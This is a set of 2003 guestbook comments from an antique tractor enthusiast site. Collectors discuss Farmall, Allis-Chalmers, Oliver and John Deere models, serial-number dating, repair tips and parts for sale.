Scott Willoughby/ Danny Hampton wrote on Monday, February 10, 2003 (PST):U have a very nice tractor
ray.morey at bigpond.com.au wrote on Monday, February 10, 2003 (PST):to you guys out there.T.O. means Tractor Overseas and T.E. is Tractor England. The T.O. had a Z120 continental engine and TE a Standard Vanguard. Get a book Motors Truck and Tractor Repair Manual 1935/53, it has all the info. raymond..
hd5b wrote on Monday, February 10, 2003 (PST):to ERH40 that sounds like the diverter valve control. it takes the oil from the T.P.L. and sends it to your other attachments [ f.e.l. ] or whatever.
RUSS wrote on Sunday, February 09, 2003 (PST):I recently purchased a 1945 model "B" and it has a seat shock and spring much like the model "C". Could this tractor have came original with this seat. I have seen several photos of restored "B" models with this setup. But most i see have the leaf spring setup like the model "A".
Jacob Williams wrote on Sunday, February 09, 2003 (PST):I was looking and I found your super 99 and then I thot and then rembered that we got a toy just like your super 99 she's a nice machine
BJ Call wrote on Sunday, February 09, 2003 (PST):I am currently buying a VC model, I already have a VA model that is a real basket"case". Many parts are missing on the VA. However the VC seems to be pretty much complete, less a right rear tire & rim. It has a 4 cyl. flathead that appears to be a contintal Red seal? It has a distributor or ignition out of the head, that it is wired for. It also has a magnito that is not hooked up. The tractor has been ssitting a long time and needs a lot of TLC. Any correct history or input would be greatly appreciated on both of these tractors. Thanks BJ at calljonesclan at cs.com
EPHANTUS WANJOHI wrote on Sunday, February 09, 2003 (PST):Please I want to buy a massey furgasson tractor 35 if possible and you have them for sale.
Don B Pritchard wrote on Saturday, February 08, 2003 (PST):I Have a 1950 vaiwa tow tractor 6 volt no hydrolics just like the one that JohnKaempfer wrote about I work with the handy cap we are working on it we plan on entering it in are Xmas parade the men that I work with have had a ball doing it .We are looking for an old aircraft tipe trailer to fix and tow behind it
Myles wrote on Saturday, February 08, 2003 (PST):I have a 1953 Super W-4 International Tractor, and I wonde r if you would happen to know anyone who has the complete hydralic system for it.There is none on it and I would like to have the system for it.Please E-mail me back
Myles wrote on Saturday, February 08, 2003 (PST):I have a 1953 Super W-4 International Tractor, and I wonde r if you would happen to know anyone who has the complete hydralic system for it.There is none on it and I would like to have the system for it.Please E-mail me back
MarkR wrote on Saturday, February 08, 2003 (PST):I just purchased a 1945 Styled Model B. Will the styled front wheels from a JD H model fit this tractor?
James Brown wrote on Saturday, February 08, 2003 (PST):I have purchased an International tractor with front bucket(IH3000) and backhoe. The serial# is 3555-n-z-gg. I need to identify the year and series. Can anyone help? It looks sortof like a 340 industrial. Thank you
James Brown wrote on Saturday, February 08, 2003 (PST):I have purchased an International tractor with front bucket(IH3000) and backhoe. The serial# is 3555-n-z-gg. I need to identify the year and series. Can anyone help? It looks sortof like a 340. Thank you
richard sterner wrote on Saturday, February 08, 2003 (PST):if any one any questions about sheppard tractors or needs help call 717 263 4703 and ask for richard thank you
Gary Wattier of Wylie, Tx wrote on Saturday, February 08, 2003 (PST):I also want to give you all the year which these tractors were built. 1948-7 thru 9249 1949-9250 to 35444 1950-35445 to 72327, 1951- 72328 to 105181, 1952- 105182 to 126981, 1953- 127007 to 131242, 1954-131243 to 160384. The WD45----1953-146607 to 160385, 1954-160386 to 190992, 1955-190993 to 217991, 1956-217992 to 230294, 1957-230295 to 236958. Also there is the engine # just under the air cleaner on the left side of the engine. The prefix of this # will either start with WD for the MODEL WD or 45 for the MODEL WD45. I hope this will help each of you to determin which model of tractor you. This iformation was takien fron The Allis Chalmers Story by C.H. Wendel
Gary Wattier of Wylie, Tx wrote on Saturday, February 08, 2003 (PST):I have noticed that alot of you out there are troubled about what model of AC you have. I hope I can shed some light on this subject. The WD tractor serial number is located on the top left differential brake housing. The year of this tractor was built from 1948 thru 1954 starting with #7 thru 160384. These numbers should start with WD then the number. The HP was about 35 The WD-45 HP was 45. The serial #'s for these tractors were from 146607 thru 236958. These #'s are located the same place as the WD's The prefix # will always start with "45" This tractor was built from 1953 thru 1957
Ken Wright wrote on Friday, February 07, 2003 (PST):G'day Mate, from Australia, there are not many Oliver's in Oz, but we have a 950,a super 99, a standard 88 and are restoring at the moment a 880. There are a lot of John Deere and International Tractor's here but we are doing our best to keep the oliver's going, all the best from Down Under.
Tom Scott wrote on Friday, February 07, 2003 (PST):I have a "Power Lift" hydraulic pump from a newer (1943-1944) parts tractor. Were these sold on 1939 H's, and is there any added collectable value for these pumps?
Peter Zwarch wrote on Friday, February 07, 2003 (PST):Is it possible for the oil supply tube that runs through the block to leak water into the crankcase? I've already checked possibility of head gasket, warped/cracked head,& cracked cylinders.
Don Adams wrote on Friday, February 07, 2003 (PST):After farming for 35 years with orange Wd-45, D-17,yellow (M-M 670) and grey 8-n; i bought a 2010 gas with wide front end and a 36-a loader... thought it was a 2020..shows my deere smarts. I've only had it since November, but find it to be wonderful tractor to run. Glad to see so many positive remarks. I've read all the notes above and still don't know where to find the serial number. i would also like to find a better hood...I have a horizontal muffler...like my Ford had
David wrote on Friday, February 07, 2003 (PST):What year is this tractor
John Strang wrote on Friday, February 07, 2003 (PST):I just recently A 1960 Farmall 560d from my uncle. My grandfather baught it new in 1959 and it has alot of sentimental value to me. All I can say is what a great tractor! Pound for pound theres nothing like it! And man does it sound good when it is pulling hard!wow!!
Scott wrote on Friday, February 07, 2003 (PST):Marlo- I am interesed in your IH300.. Your email address keeps sending messages back.. unknown mailbox.. Please contact me.
Larry Stewart wrote on Thursday, February 06, 2003 (PST):my father has a john deere that he identifies as a 1936 AO i know it is a multi fuel and that he ahnd my grandfather restored it almost 40 years ago. i grew up riding on it as it plowed, cut hay and bailed alfalfa every year. it sit at our ranch now and every once in a while we will fire it up just for kicks. it still runs great and could go back to work any time.
D.K.Johnson wrote on Thursday, February 06, 2003 (PST):Just last week I purchased an OLIVER 99.I'm thinking of pulling tracors again.Can anyone advise me of the power potental?My 99 is a stock 6 cy.diesel.I'm hearing the 3cy.Det.ranging 168hp.If any one can help it would be greaty appreated.I'm located in SOUTH NEW JERSEY. PLEASE CONTACT ME BY E-MAIL kr4farm at aol.com
John Forshee wrote on Thursday, February 06, 2003 (PST):I enjoyed seeing your engine. I was the back up bidder when it was sold at auction. I have a 1917, 19-65 Port Huron and a 1917,65 Case. The Case is a much easier steamer than the Port Huron. All of the patterns from the Port Huron Company have been saved along with the build sheets, etc. Steam is very exciting and interesting. I have enjoyed collecting, showing, and talking steam for many years. There has been a lot of discussion about safety and steam. I want to state that any respected steam engineer knows his equipment and what the steal is saying. Man and machine are a marvelous combination.
Jack Russell wrote on Thursday, February 06, 2003 (PST):I have a oliver 550 diesel serial number 84472-5--white dealer said it was made in 1960 ??--What mft.is maker of motor-- what other oliver parts and repair manual would be the same as the 550 dls Thanks
Robin Mizell wrote on Thursday, February 06, 2003 (PST):I own a 1949 AC G in the Southern Illinois area. It doesn't have a motor, radiator or hood. I would like to know what my options are for finding these. I would like to find these either by themselves or on another G that is in need of restoration or on parts tractor. Any ideas from anyone would be appreciated. My dad used to have one. It was the first tractor I drove as a kid. They are cool tractors!
Bruce Bartak wrote on Wednesday, February 05, 2003 (PST):I am looking to buy a 830. If anybody has one for sell contact me at blbartak at msn.com
Gary Manson wrote on Wednesday, February 05, 2003 (PST):My Dad and my brother each had a U. 1946 and 1948. It was They were a three plow tractor and gasoline burners. The most economical for the power that was ever made.
Hobo Tools and Supplies wrote on Sunday, February 02, 2003 (PST):Hello to everyone. I am in the process of becoming the distributor of Fordson Major replacement parts. We haven't added this information to our web site as of yet. However, if you have time please take a look. www.hobotools.com At the moment I have available injection tube set (1,2,3,4) Sold in sets only. Steering wheels and cap. Hyd. parts, Spindle Front Axle - RH and LH. This just to name a few. You can reach me at the above email. Any questions I would do my best to answer. Thank you Sincerely, Jay A. Van Horn Owner Hobo Tools and Supplies
Gene Larson wrote on Sunday, February 02, 2003 (PST): port angeles wash i have a super C with rear tool bar, doubble plow, disk,mower,spring tooth, with a parts tractorfor parts any Idea what its worth.yours looks grat good Job.... /I have wide front/
David Lee wrote on Sunday, February 02, 2003 (PST):Well I don't mean to beat a dead horse but this is a "ZB" and I do think they only meant to say that the model "Z" has been in production since 1937. I am the proud owner of a 1953 "ZAU" fully restored by my Dad and I. We spent many very enjoyable hours working on this tractor and the rewards were great. I have recieved many coments on what a neat and beautiful Tractor it is. I live in Missouri and there were not many Minnies here. I have shown this tractor at several shows and won first place at many tractor pulls with it. I hope every Minnie owner gets as much enjoyment out of there tractor as I have. Thanks David Lee
Mark Bergthold wrote on Saturday, February 01, 2003 (PST):I learned to drive on my grandpa's Lil' B in Iowa. Loved that tractor - never had a bit of trouble with it.
Marlo wrote on Friday, January 31, 2003 (PST):I just recently purchased IH 300 with backhoe and loader to do some dirt work. Realized it is too small for my needs. Sell for what I bought it for $1250. marlobuilders at hotmail.com
Candace Lynch wrote on Friday, January 31, 2003 (PST):My son wants to locate the F-20 or 350 his grandfather had. The F-20 was probably bought in the early 40's, the 350 would have been in 1952 or '53 from White Implements in Connersville, Indiana. We don't know the serial numbers but hope someone would have some idea where to begin to trace these old tractors. Are there archives that show serial numbers for a particular series and a way to trace sales to a particular dealer?
Don Olson wrote on Thursday, January 30, 2003 (PST):I have a 1964 or 1965 4 cylinder 2000 OFFSET serial number 74672 which is 90% restored. I sold another 2000 OFFSET in Sept 2002 to a ford tractor collector/dealer and he said he had never seen one before. The 2000 I sold was serial number 74668 which is only 4 digits off my current 2000. They were built 1 day apart. It would be interesting to know how many 2000 OFFSET's are still around.
Farmer Ron wrote on Thursday, January 30, 2003 (PST):Thanks for creating a great tractor Harry. Our farm has a 51 TO-20. We use it for mowing, plowing, pulling the hay wagon, hauling logs out of the woods and general mayhem. If and when it finally dies I'll be sad but I'll definately try to find another one just like it.
Micah Serles wrote on Thursday, January 30, 2003 (PST):One of my friends has the same tractor with the 4 cylinder Detroit Diesel. What would cause the engine to flutter at full throttle? We have done everything from changing fuel filters to having the fuel pump rebuilt. Do you have any idea what could casue this?
Jack Schafer wrote on Thursday, January 30, 2003 (PST):If anyone knows of a Samson Sieve-Grip with anything remaining of the Flying GMC Logo fender decal, please let me know. Samson started in Stockton, CA, later bought by GMC. Did not last long after that.
buty red power and junk jd's wrote on Wednesday, January 29, 2003 (PST):4440 man should have the 4440 or kicked out of him. All farmall red tractors are way beter then THEN DIYRYA GREEN.
gordon miller wrote on Tuesday, January 28, 2003 (PST):iworked for cochut.as a service man i 1950 in saskatoon sask i was also a dealer until 1956 the model 30 came first the 30 was a first modern tractor at the time first live pto i sold maney and had no complaints
tractor bob wrote on Tuesday, January 28, 2003 (PST): is I have all the parts for the farmall b lift all.Anyone interested can cll me after 5.oopm at 319-563-263-5360
RICK RUFO wrote on Tuesday, January 28, 2003 (PST):have a 39h for sale like the one pictured. contact rick at live oak tractor co. 1-800-893-9255/great condition!
Larry Finley-Auctioneer wrote on Tuesday, January 28, 2003 (PST):How can I positively identify the model and year of Wallis tractor I will be selling on a auction this spring
Don Doom wrote on Sunday, January 26, 2003 (PST):i have a 1954 sc i have almost finished restoring ready to paint can not find decals need info on where i can buy , also my tractor has foot clucth and distrobutor i have bought 3 different manules but none say any thing about either ,help please don
Paul Vanderhoof wrote on Sunday, January 26, 2003 (PST):My dad had one of these (I'm nearly certain) and always wanted to restore it. It's still sitting behind the barn in rough shape no doubt. The clutch was different from others in that instead of pushing it forward with the left foot, you had to pull it back. Same model? Also, I'd like to reproduce this picture but am having trouble getting the 'postcard'. Thanks.
Jim wrote on Sunday, January 26, 2003 (PST):I recently picked up a 1941 Farmall-B from my brogher-in-law and ran it a bit this week end. It runs good but I have never used a tractor with a brush-hog with no hydraulics. Is there a way to slow the mower down so you can shift the gear? Got to put a little labor in this B and need to sell it for brother-in-law with cancer. I don't really need it. Has good rubber and cranks easy. He put a battery on it about 4 months ago, however, the celinoyd ? just chatters. Anyone interested in buying this 41-B can write the E-Mail address. Location Cleburne, Texas area.
Ron Jackson wrote on Saturday, January 25, 2003 (PST):HELP HELP I am trying to source a set of cylinder assemlies for a CASE 500 diesel. Does anyone have any leads??
Jim E wrote on Saturday, January 25, 2003 (PST):what years did they manufacture the 350 utility,and can you tell me what serial# corresponds with what year, thanks jim
Dick Tafralian wrote on Friday, January 24, 2003 (PST):I am lookinf for a farmall A to restore If you have one close to Dallas, Tx please contact me. I prefer to have electric start. Thanks
Todd Edgerton wrote on Friday, January 24, 2003 (PST): can reproduce sets of ferguson side emblems from fiberglass. can paint them or you can. blue background and "chrome" letters and border. look good,most will never notice. see a lot of these missing on fergies.
Marcanet Bruno wrote on Friday, January 24, 2003 (PST):I be french collector antiques tractors.for sale where echanges, MH made in france;Pony 812 mecanique simca standar and vineyard, pony 812 mecanique peugeot standar, pony 820D mecanique Hanomag standar, MF 821D mecanique Hanomag standar, MF Landini four vheel drive RS4500 mecanique Perkins three cylinder.I not good speak english.
Marcanet Bruno wrote on Friday, January 24, 2003 (PST):I be french collector antiques tractors.for sale where echange;JD 303 vineyard, JD 100(not restor, possible photo).(difficul speak english)
Marcanet Bruno wrote on Friday, January 24, 2003 (PST):I be french collector antiques tractors IH.For sale, echange; Cub made in france,FCC,FCD standard,FC Utility Vineyard,FCD Vineyard,good condition.
Hal wrote on Thursday, January 23, 2003 (PST):Guys or Gals, I need help!I'm restoring a 1927 D,I have the books, and have made many inquires as to this problem. The Carb. is a DLTX 3.[ this came on the tractor, as it should]This carb. had a elbow fitting sodered on the carb where the fuel line connected to this fitting.THIS IS INCORRECT. The elbow as shown in the John Deere books, appears to be part of the FLOAT VALVE SEAT.Or maybe the float set was part of the carb.?Do any of you folks have any information or pictures of this float valve elbow?? Thanks Hal
ihman wrote on Thursday, January 23, 2003 (PST):4440 man if you don't like the 1066 why are you on this site? 1066 man proves that IH tractor are a hell of a lot better than john "in the shop all day" deer
Leonard Rahilly wrote on Thursday, January 23, 2003 (PST):On converting 4-speed to 5-speed; The shift rail for 4th and 5th gear is toward the left side of the transmission, and apparently slides forward under the gas tank when 5th gear is engaged. There is a little capscrew in the tranny cover, somewhere under the gas tank. If 5th is locked out, the cap screw is long enough to block the shifter rail from coming forward. If this bolt (I seem to remember that it has about a 9/16" hex head) is backed out, or replaced by a shorter bolt, the shifter rail can move forward and shift the dog clutch (just like the old 3rd gear direct-drive dog clutch in American standard shift cars). Incredibly clever. It meant one manufacturing step for two uses. Actually, I wonder if an H would pull itself in 5th gear on steel wheels. If it did, I sure wouldn't want to ride on it. The H and M do all of 5 mph in 5th with the engine at a dead idle. Anything above idle speed would be one rough ride on steel wheels! I cannot tell you exactly which of the bolts in the top of the transmission does the blocking, but you can pretty well guess by estimating about where the shifter rail would be (opposite to the direction of the gear shift lever; lever right for 5th gear, shift rail would be the leftmost of the 3).
Leonard Rahilly wrote on Thursday, January 23, 2003 (PST):Can't seem to keep my mouth shut. Another comment on the H (and M). The H and M were sold on steel with a "four-speed transmission" and on rubber with a "five-speed transmission." When a steel-wheeled tractor was put on rubber, there was a very simple conversion. Anybody know how this was done? I'll write another note explaining how this works, but meanwhile, you can think about the problem!
Leonard J. Rahilly wrote on Thursday, January 23, 2003 (PST):A reader (way, way up on that list!) has repeated something I read in the book called "Letter Series Farmalls" (in my opinion, one of the few quite good books on antique tractors--more facts, well checked out, than most of these slick books). This book states that the Farmall H was meant to replace the F-14. Well, maybe dealers were told to encourage that, but I have some original IH sales literature from the late 30s and early 40s, and in those brochures, IH very clearly said that the H was a "full two-plow tractor" (meaning 2 14" plows). I spent many years working two H's, and neither of them would measure up to an F-20, and that is because, I believe, the H was deliberately designed to pull the same load as a steel-wheeled "10-20" sized tractor. This the H will do. It is a second-gear only plowing tractor. Very seldom would either of our two H tractors plow in third. An F-20 would often plow in third, if the ground was not too hard, and in any case, on 36" wheels, the F-20 would do almost 4 mph in second gear, and still pull the two 14" plows rippin' and snortin' through the field. The H is a h. of a lot more comfortable, I'll give it that, and it was a delight to drive in its day, compared to the old iron it replaced. The H is a very nice chore tractor, so it could, indeed, replace an F-12 or an F-14 very comfortably. It is easy to get on and off of, easy to steer, and small enough to maneuver around in tight places, like the -12 and the -14. It wouldn't surprise me if dealers were told to push the H as a replacement for the F-14, but I would like to see this in writing. The book I mentioned does NOT give evidence for this statement. One of the effects of the lightening up of tractors (the engine on the H is only 152 c.i.d., as compared to 221 c.i.d. for the F-20) is that they kind of straddled categories. The H, in other words, could be a light chore tractor, like an F-14, but it could also do a good bit more heavy work in the field. As a chore tractor, with its engine not much bigger than an F-14, it didn't burn a lot of gas. None of my comments are meant to detract anything from the value of the H. I used to wish for more power, but I never didn't like the tractors. Compared to some of its contemporaries, it was very comfortable (nice platform, good seat, good seating position, steering wheel placement, etc.). I never liked the gear lever; it was always bumping the calf of your leg in the rearward positions, and you usually banged your arm on the steering wheel going for the forward gear positions (R, 2, 4). The external-contracting brake bands were a step backwards from the internal brakes of the F-14, but they did work pretty decently, even if they sometimes squealed. The governor leaver was not well designed, either. It was quite a reach when it was in the slow position, and if you were turned around to the right in your seat, watching a mower or a combine, it was a LONG reach. Much better to have a vertical quadrant, with the lever parallel to the steering wheel.
Leonard Rahilly wrote on Thursday, January 23, 2003 (PST):A reader asked about horsepower ratings for F-20. This system of numbers goes way back to the early days of tractors. When two numbers are used, the first one is the "rated drawbar horsepower" (75% of maximum in the Nebraska tests) and the second number is the "rated belt horsepower" (85% in Nebraska tests). These ratings are conservative, so that the user will not load up the tractor to the absolute maximum, leaving a bit of extra power for tough spots in the field. A 10-20 pulls 2 14" plows in second gear (on steel), and runs about a 22" thresher. A 15-30 pulls three plows and runs a bigger thesher. The actual maximum horsepower can be quite a bit above the rated. An F-20 on distillate put out over 27 belt horsepower, but is rated at 20 (F-20 refers to the belt horsepower; this tractor would be rated 10-20 if both numbers had been used). One of the things that was obvious to users of these old tractors is that the ratings were no longer very accurate when the tractor was put on rubber. Rubber tires return more power to the ground. An F-20 would pull 2 14" plows at about 4 mph (second gear, 36" tires), whereas on steel it was designed to pull these two plows at about 3 mph, like most steel-wheeled tractors of the day. An interesting case of number changes occured when IHC increased the bore of the 15-30, got more power, and changed the rating of the same tractor to 22-36 (about 1929, I believe--you can check this in the Nebraska tests, where the tractor is called "15-30" but the larger bore is shown in the specifications). W-30, F-30, W-40; the numbers refer to the rated belt h.p. One of the reasons why the rated drawbar horsepower is about half is that the very early tractors (chain drive, sleeve bearings in the gearbox, etc.) really didn't put much more than half the engine power to the wheels. Check the Nebraska test for IHC Titan 10-20. The engine put out about 28 hp on the belt, but I seem to remember that the drawbar horsepower was about 12! You always see pictures of these tractors hooked to 3-bottom plows, but you have to realize that the ground speed was very low; several plows can be pulled very slowly; when speed up, the draft rises sharply and not so many plows can be pulled. The Titan, incidentally, was rated as a 10-20, even when the engine put out nearly 30 on the belt!
leonard rahilly wrote on Thursday, January 23, 2003 (PST):Someone asked about F-30 sleeves in an F-20. No can do. The F-20 bore is 3-3/4", while the F-30 is 4-1/4". Someone else asked about a carb loading up. I would look very carefully at the needle valve and seat. If they are new, then check the float level carefully. I know that measurements are available in shop manuals. If not available, you could try lowering the float a little at a time. This carb is duck soup to take apart and put back together, so you could experiment with the float level several times in an hour or two. My dad had an H that had a worn float valve. It would flood on starting every time if you even touched the choke. Ran ok once it was going, but you could count on loading up the engine if you didn't start it just right. Are the needle valves in good shape. If the idle and power needles are worn, no amount of cussing will make them control the mixture the way you want them to.
craig wrote on Wednesday, January 22, 2003 (PST):I spent my whole childhood on the toolbox of a wd45 diesel know that I'm older I Wanted one to remember the greatest days of my life. On the 3rd of July 2002 I bought the tractor my son will learn to drive on a 1954 WD45 diesel.
Leonard J. Rahilly wrote on Wednesday, January 22, 2003 (PST):I guess I can't keep my mouth shut; I just noticed that the steering wheel on the F-14 pictured is not authentic. Late F-12s and all F-14s had a thick, rubber-covered steering wheel. These always cracked over two or thirty years, and I think they are unavailable as parts. Many IH tractors of the late 30s had their steering wheels replaced by those spindly wheels from H or M models (these were probably cooked up to save rubber during WWII; the early H, M, A and B had thick steering wheels, with rubber right down to the hub). No more comments tonight, so breathe a sigh of relief!
leonard j. rahilly wrote on Wednesday, January 22, 2003 (PST):I just submitted the same comments twice. Apologies. Someone wrote a while back about putting an F-12 manifold on an F-14 and losing power. You would have to check part numbers to see if the F-14 manifold was really different. My guess is that they put a kerosene manifold on an F-14 that had had a gasoline manifold. The kerosene manifold is designed to run hot. I believe there was a valve to set the manifold on "cold" for gasoline, but with a very old and well-used manifold, it could be that the valve (inside the manifold, right in the middle of all those exhaust gases) had gotten burned through. If a kerosene manifold is used in the "hot" position with gasoline, I am pretty certain there would be a power loss--kerosene needed the heat to vaporize properly, but gasoline absolutely does not need that much heat. In the good old days (not so good, actually, except that I was a h. of a lot younger), you could start on gasoline (cold position) and switch to kerosene or distillate (hot position). Supposed to be cheaper. May have been. I tried it once with our McCormick-Deering 10-20, and swore I would never do it again. It is an absolute nuisance to start on gas, switch to kerosene or distillate,keep the curtain up (or shutter closed) to keep the engine really hot, shut off fuel to stop engine (cold kerosene won't start no matter how much you cuss), restart on gas, etc. (f you managed to stall the engine and did not crank it up immediately, you had to drain the carburetor, after shutting off the kerosene valve, then refill with gasoline from the small tank, restart, switch again over to kerosene. Another problem; as soon as an engine on kerosene stops working hard, it "cools off" a bit and starts to sputter. A lot of the early IHC tractors (10-20, F-20 era) were designed for kerosene only. I never knew anyone in my younger days (early 40s) who used kerosene. They just put gas in the kerosene tractors; got a little more power, but not as much as they could have had by raising the compression. Anyone interested in this stuff can compare Nebraska tests for tractors like F-12, Farmall H and M, to see the difference in h.p. between the kerosene/distillate tractors and the high-compression models sold for gas only. Oliver compensated for the loss on kerosene by making the engine of the Oliver 80 Kerosene-Distillate model bigger! Imagine what that brute could do with high compression! (kerosene requires low compression so as not to knock and pound a hole in a piston). Incidentally, there are Nebraska tests of some tractors on both kerosene and distillate (F-20, for example), and the distillate has a nice bit of extra power. Interesting to know if gasoline gives any extra power in the kerosene-distillate engine. I'd guess not much. Any engineers out there who know? A dramatic example of the diffence higher compression + gasoline makes is the postwar John Deere A and B tractors (the "new" models with the upholstered seat, about 1947). These tractors differ very little from the previous models,except for the higher compression and, I think, a manifold designed exclusively for gasoline.
Leonard J. Rahilly wrote on Wednesday, January 22, 2003 (PST):I see that I wrote something last July! Well, here's some more palaver. The F-14 differed from the F-12 in several ways that can be seen; there is a breather pipe coming down from the valve cover on the right side of the engine; the brake levers are much longer, reaching above the fuel tank (on the F-12, they are very short, and would be very difficult to use for anything other than parking; the automatic wheel brakes made the hand brake levers almost unnecessary--of course, you could always use a hand brake lever to stop a wheel from spinning in the mud); the steering shaft has a u-joint just behind the steering gear, and the steering post is accordingly higher; the seat has a higher pedestal to match the steering wheel's new height (when I was a teenager, I put a u-joint in my father's F-12 steering shaft, and raised the post with a typical farmer's fix; I cut the original post in half and put a piece of pipe between the two parts; ugly, but effective; incidentally, I have seen F-12s with the F-14 steering post, and many people mis-identify such tractors). The F-14 has a little more power than the F-12, acquired entirely by raising the governed full-load speed from 1400 to 1650 rpm. In order to make use of this power, the gearing was changed, so that the F-14 and the F-12 had about the same ground speed. It is not true that the F-12 would not pull two plows (on rubber tires). My father bought a new F-12 on 40" rubber in 1938; it had those lovely castiron wheels that you see reversed in this picture of the F-14. This tractor pulled a 2-12" trailer plow through thick and thin in second gear (the normal plowing gear). Occasionally, in VERY light soil, and not plowing too deeply, the tractor would pull this plow in third gear. This just goes to show what happens when a tractor designed for steel wheels was converted to rubber. The power formerly wasted driving those lugs into the ground went into pulling a larger load, or pulling the same load in (usually) one higher gear. By looking at a series of Nebraska tests, I have estimated the power loss for a steel-wheeled tractor at between 30 and 35% (even more in some of the early tractors, like the Titan 10-20, which had a power-robbing transmission, as best I can tell). Rubber-tired tractors probably lose between 10 and 15% on average. Anyone interested in armchair engineering (I am, obviously!) can take the Nebraska tests and do the averages for many tractors. Be aware that some of the tractors tested on rubber in the late 30s and early 40s either had tires that were too narrow, or not enough weight was added, as there may be quite a bit of slippage in low gear (see the tests for the Farmall M, in which low-gear h.p. runs around 24 (much slippage) compared to a little over 30 in the higher gears). Steel-wheeled tractors seem to lose power as the speed is raised (more effort driving the lugs in, I presume), while rubber-tired tractors seem to have a pretty even power application throughout the gears, except possibly in low if there is a lot of slippage. A neighbor who had had a lot of experience with a steel-wheeled F-12 ("Can't get out of its own way, it's so slow!") was "amazed" at the power our rubber-tired F-12 produced. Sadly, our old bird was left to rust away after the manifold blew out in the sixties. I think it is serving as a parts tractor somewhere in Tractor Heaven. I have no experience with F-14s, but have put in hundreds of hours on two rubber-tired 12s and one with steel wheels. They were wonderfully robust tractors, fairly easy to get on and off of, compact and easy to turn in small spaces, very handy with mounted equipment, like the Quick-Attachable 7' mower and the cultivators. With the big IH drawbar, you could use it for hauling fence posts, barbed wire, pails of feed, even people to and from the fields. About its only weakness was that it (like the F-14) had a fuel pump, and fuel pumps in those days had diaphragms that did not live forever. Minor problem, actually--I think the diaphragms were good for 8-10 years before they split. The only other drawback to the F-12 did not become apparent until you had the chance to drive a tractor with a road gear. The 4-mph top speed of the F-12 was REALLY slow if you had to go a mile to the field, or if you were hauling loads of hay or grain to the barn. I used to lust after a Farmall A (10 mph) or an H (over 16 mph!--a real racing machine on a gravel road; so fast that there was even wind in the face!). Now that I am a lot more mature, I think I'd kinda like to putter along on an F-12, four mph or not. Might even throttle it back and take another half hour to get to the field!
Leonard J. Rahilly wrote on Wednesday, January 22, 2003 (PST): The F-14 differed from the F-12 in several ways that can be seen; there is a breather pipe coming down from the valve cover on the right side of the engine; the brake levers are much longer, reaching above the fuel tank (on the F-12, they are very short, and would be very difficult to use for anything other than parking; the automatic wheel brakes made the hand brake levers almost unnecessary--of course, you could always use a hand brake lever to stop a wheel from spinning in the mud); the steering shaft has a u-joint just behind the steering gear, and the steering post is accordingly higher; the seat has a higher pedestal to match the steering wheel's new height (when I was a teenager, I put a u-joint in my father's F-12 steering shaft, and raised the post with a typical farmer's fix; I cut the original post in half and put a piece of pipe between the two parts; ugly, but effective; incidentally, I have seen F-12s with the F-14 steering post, and many people mis-identify such tractors). The F-14 has a little more power than the F-12, acquired entirely by raising the governed full-load speed from 1400 to 1650 rpm. In order to make use of this power, the gearing was changed, so that the F-14 and the F-12 had about the same ground speed. It is not true that the F-12 would not pull two plows (on rubber tires). My father bought a new F-12 on 40" rubber in 1938; it had those lovely castiron wheels that you see reversed in this picture of the F-14. This tractor pulled a 2-12" trailer plow through thick and thin in second gear (the normal plowing gear). Occasionally, in VERY light soil, and not plowing too deeply, the tractor would pull this plow in third gear. This just goes to show what happens when a tractor designed for steel wheels was converted to rubber. The power formerly wasted driving those lugs into the ground went into pulling a larger load, or pulling the same load in (usually) one higher gear. By looking at a series of Nebraska tests, I have estimated the power loss for a steel-wheeled tractor at between 30 and 35% (even more in some of the early tractors, like the Titan 10-20, which had a power-robbing transmission, as best I can tell). Rubber-tired tractors probably lose between 10 and 15% on average. Anyone interested in armchair engineering (I am, obviously!) can take the Nebraska tests and do the averages for many tractors. Be aware that some of the tractors tested on rubber in the late 30s and early 40s either had tires that were too narrow, or not enough weight was added, as there may be quite a bit of slippage in low gear (see the tests for the Farmall M, in which low-gear h.p. runs around 24 (much slippage) compared to a little over 30 in the higher gears). Steel-wheeled tractors seem to lose power as the speed is raised (more effort driving the lugs in, I presume), while rubber-tired tractors seem to have a pretty even power application throughout the gears, except possibly in low if there is a lot of slippage. A neighbor who had had a lot of experience with a steel-wheeled F-12 ("Can't get out of its own way, it's so slow!") was "amazed" at the power our rubber-tired F-12 produced. Sadly, our old bird was left to rust away after the manifold blew out in the sixties. I think it is serving as a parts tractor somewhere in Tractor Heaven. I have no experience with F-14s, but have put in hundreds of hours on two rubber-tired 12s and one with steel wheels. They were wonderfully robust tractors, fairly easy to get on and off of, compact and easy to turn in small spaces, very handy with mounted equipment, like the Quick-Attachable 7' mower and the cultivators. With the big IH drawbar, you could use it for hauling fence posts, barbed wire, pails of feed, even people to and from the fields. About its only weakness was that it (like the F-14) had a fuel pump, and fuel pumps in those days had diaphragms that did not live forever. Minor problem, actually--I think the diaphragms were good for 8-10 years before they split. The only other drawback to the F-12 did not become apparent until you had the chance to drive a tractor with a road gear. The 4-mph top speed of the F-12 was REALLY slow if you had to go a mile to the field, or if you were hauling loads of hay or grain to the barn. I used to lust after a Farmall A (10 mph) or an H (over 16 mph!--a real racing machine on a gravel road; so fast that there was even wind in the face!). Now that I am a lot more mature, I think I'd kinda like to putter along on an F-12, four mph or not. Might even throttle it back and take another half hour to get to the field!
Bill Wright wrote on Wednesday, January 22, 2003 (PST):I'm looking for info/photo for a 1918 Samson M18, which was mfg. by GM. I know very little about the tractor, except that it turned my Dad against tractors for many, many years, until he bought a Ferguson 30 in 1952. thx-wmw
Bruce wrote on Tuesday, January 21, 2003 (PST): I need a good usable Crankshaft For my WD-45 Diesel. Anyone out there have one for sale? Gleaner model A diesel combine had the same 230 cu. in. motor.
jason wrote on Tuesday, January 21, 2003 (PST):just a hint for anyone wishing to buy a 460/ 560 international used the rear ends from the 450's/ super mta's and had problems with them. the tractors were recalled and stamped with a triangle on the serial number plate. look for this it might solve problems later if you intend to use the tractor heavily
Ed Wright wrote on Tuesday, January 21, 2003 (PST):Anyone have a picture of a Samson M-18 which I believe was an 1918 model? Would like to have a picture for my memoirs. My dad had a Samson M-18 up until about 1938. Should have dumped it earlier. A traactor with no brakes was not suitable for hilly PA.
Sam wrote on Sunday, January 19, 2003 (PST):I have '51 super A with single bottom moldboard, under belly cultivators, and New Idea sicklebar mower to hook on the PTO. It is a great little tractor, but I'm trying to figure out how to get a snow plow for it, other than making one. Have 5 acres, so tractor is just about right size for my big (3 acre) garden. I was wondering where can I get new stickers for it, and a front emblem. Also, what is the belt drive good for, nowadays? God Bless! Sam
